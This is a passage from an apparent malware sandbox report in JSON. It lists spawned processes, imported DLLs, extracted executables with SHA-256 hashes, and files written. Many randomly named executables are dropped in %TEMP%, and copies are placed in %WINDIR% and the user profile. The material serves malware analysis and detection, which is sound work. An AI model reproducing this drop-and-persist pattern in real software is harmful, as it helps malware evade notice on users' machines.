/a","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003432","uid":"00000000-00005088"},{"pid":4908,"ppid":4572,"name":"1273819789.exe","command_line":"","sha256":"3775c7888a3571a039b1415779a915e6dc806eaf0459eb551cbfb9b78c68f9f6","normalized_path":"%TEMP%\\1273819789.exe","parent_uid":"00000000-00004572","uid":"00000000-00004908"},{"pid":800,"ppid":4572,"name":"2132710603.exe","command_line":"","sha256":"19ee79b7852c54de5883404f049f9e85cb0085bae8132ada3e46d6f75b24b100","normalized_path":"%TEMP%\\2132710603.exe","parent_uid":"00000000-00004572","uid":"00000000-00000800"}],"all_imported_dlls":["KernelBase.dll","gdi32.dll","sspicli.dll","rsaenh.dll","mscorwks.dll","rasadhlp.dll","msvcrt.dll","wininet.dll","mswsock.dll","RpcRtRemote.dll","ieframe.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","secur32.dll","Wldap32.dll","advapi32.dll","VxSSL32.dll","rpcrt4.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","imm32.dll","fltLib.dll","winhttp.dll","webio.dll","cryptbase.dll","cfgmgr32.dll","NapiNSP.dll","propsys.dll","setupapi.dll","msctf.dll","IPHLPAPI.DLL","wship6.dll","FWPUCLNT.DLL","winrnr.dll","urlmon.dll","dnsapi.dll","mscoreei.dll","winbrand.dll","shlwapi.dll","msvcr90.dll","nsi.dll","shell32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","winnsi.dll","dhcpcsvc6.dll","WSHTCPIP.DLL","cryptsp.dll","ntdll.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","uxtheme.dll","pnrpnsp.dll","FirewallAPI.dll","sxs.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","userenv.dll","oleaut32.dll","ws2_32.dll","netprofm.dll","dhcpcsvc.dll","npmproxy.dll","usp10.dll","profapi.dll","clbcatq.dll","nlaapi.dll","wshqos.dll","apphelp.dll","mscoree.dll","devobj.dll","user32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","comctl32.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","normaliz.dll","sechost.dll","lpk.dll","iertutil.dll","ole32.dll","kernel32.dll","version.dll","rpcss.dll","ntmarta.dll","wow64.dll","wow64cpu.dll","wow64win.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"1372118751.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"204902060.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"540523367.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"newtpp_1_.exe","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1688912414.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1253014599.exe","sha256":"5330f1c2f6337d610227444828c2d9f6879ce188835d2e82440c1cecb09d961f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"139762777.exe","sha256":"ee576ea0f6870eeaaf00800e76444f98f25bcdc81df7588d1ef92e21693a683e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1691212729.exe","sha256":"29ea2bd041759358150e5b29575a7b2383a4c0a614b440d0391a347a68eb7ed6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1904323742.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1990229804.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"2416522045.exe","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"3092126301.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"3890516560.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"3988039883.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"sysvratrel.exe","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"tbtnds.dat","sha256":"4692332df6ba4fe7aad4ff25712166dcc33a07b5de14d549e1eb1fe5c02a450c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"winploravr.exe","sha256":"fb11b4e2d26812e26ea7428f3b0b9bb8a16814188250fa60697c7aec40a49bd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2004611899.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1539229012.exe","sha256":"5330f1c2f6337d610227444828c2d9f6879ce188835d2e82440c1cecb09d961f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"2025212419.exe","sha256":"29ea2bd041759358150e5b29575a7b2383a4c0a614b440d0391a347a68eb7ed6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1465431897.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"sysvratrel.exe.bin","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"3045733708.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"3276813707.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"winploravr.exe.bin","sha256":"fb11b4e2d26812e26ea7428f3b0b9bb8a16814188250fa60697c7aec40a49bd0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2600716104.exe","sha256":"ee576ea0f6870eeaaf00800e76444f98f25bcdc81df7588d1ef92e21693a683e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"1443620607.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"name":"2119520885.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2766410877.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"178678861.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1550232617.exe","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1273819789.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"130589323.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1687123150.exe","sha256":"99c140f3dbd18b65457bc398730516f3a8c1d0e5ba68aa46c194505bf0f12a98","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2132710603.exe","sha256":"6695b3451ef0146f43511bbb32a007e19b56b07c0a1badeae875d8ec81b54041","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"237145208.exe","sha256":"5330f1c2f6337d610227444828c2d9f6879ce188835d2e82440c1cecb09d961f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2692612378.exe","sha256":"29ea2bd041759358150e5b29575a7b2383a4c0a614b440d0391a347a68eb7ed6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"317471939.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"3897418907.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1946520801.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"984321327.exe","sha256":"29ea2bd041759358150e5b29575a7b2383a4c0a614b440d0391a347a68eb7ed6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"3611613923.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"4_1_","sha256":"2ebc4a92f4fdc27d4ab56e57058575a8b18adb076cbd30feea2ecdc8b7fcd41f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"_3_1_","sha256":"6695b3451ef0146f43511bbb32a007e19b56b07c0a1badeae875d8ec81b54041","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"3797220107.exe","sha256":"6695b3451ef0146f43511bbb32a007e19b56b07c0a1badeae875d8ec81b54041","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1762130820.exe","sha256":"5330f1c2f6337d610227444828c2d9f6879ce188835d2e82440c1cecb09d961f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"2738633689.exe","sha256":"985da56fb594bf65d8bb993e8e37cd6e78535da6c834945068040faf67e91e7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"name":"1628119430.exe","sha256":"b0cd888ec409d1c25055a7f1e9ca5f65309f782557844d245da2b4637f17f41b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{8EC77AB6-0A67-49F5-B497-0C81B8B3510C}","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CKDNCXYS\\newtpp[1].exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\2416522045.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\33573537.jpg","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\peinstall[1].htm","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%WINDIR%\\sysvratrel.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%USERPROFILE%\\sysvratrel.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\37NU00GP\\1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%USERPROFILE%\\tbtnds.dat","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QQW0X29Y\\1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\1253014599.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2UXTWTJR\\2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\R258CLXM\\2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\1691212729.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\JKW6IVR1\\3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OCO9PWXQ\\3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\1904323742.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\SLD1THWF\\3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\1990229804.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\5X8UBMUJ\\4[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\43QB2FIU\\4[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\204902060.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OBVHL2JW\\4[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\1372118751.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QQW0X29Y\\5[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\R258CLXM\\5[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\139762777.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\A67Y4IIW\\1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\6BEKALIW\\2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0QPGGJBR\\3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\61TW6KV5\\4[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OBVHL2JW\\5[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%WINDIR%\\winploravr.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%USERPROFILE%\\winploravr.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OCO9PWXQ\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\SLD1THWF\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\3092126301.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\5X8UBMUJ\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\43QB2FIU\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\3988039883.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QQW0X29Y\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\R258CLXM\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%TEMP%\\3890516560.exe","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\A67Y4IIW\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\SLD1THWF\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\43QB2FIU\\_3[1]","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"%USERPROFILE%\\33r3rddsa.jpg","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"},{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%USERPROFILE%\\33388d8d8d.jpg","sources":[{"report_type":"sandbox","report_id":"662aefc8222315a2bb0600b2"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{A3C5A950-CBBD-4EFA-9430-4E8BB4184281}","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\4KBMQIHU\\newtpp[1].exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\1687123150.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\TBFHKZCA\\peinstall[1].htm","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\TBFHKZCA\\1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\SLSW3KYW\\1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\237145208.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\OX8EQCT0\\2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\CP53U0VR\\2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\2692612378.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3IQVUB7J\\3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3K0JAKI5\\3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\317471939.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\Q38I0BE9\\3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\130589323.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\3K0JAKI5\\4[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QSQQQ22U\\4[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\2766410877.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VTO935KS\\4[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\2119520885.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\V8IO49DI\\1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\P6QSO9MS\\2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\0NGI0OC3\\3[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\2M2KC0IU\\4[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QSQQQ22U\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W4ZUP6XA\\_1[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\3897418907.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\VTO935KS\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\V8IO49DI\\_2[1]","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%TEMP%\\1273819789.exe","sources":[{"report_type":"sandbox","report_id":"662db1b28642194f0e093561"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet 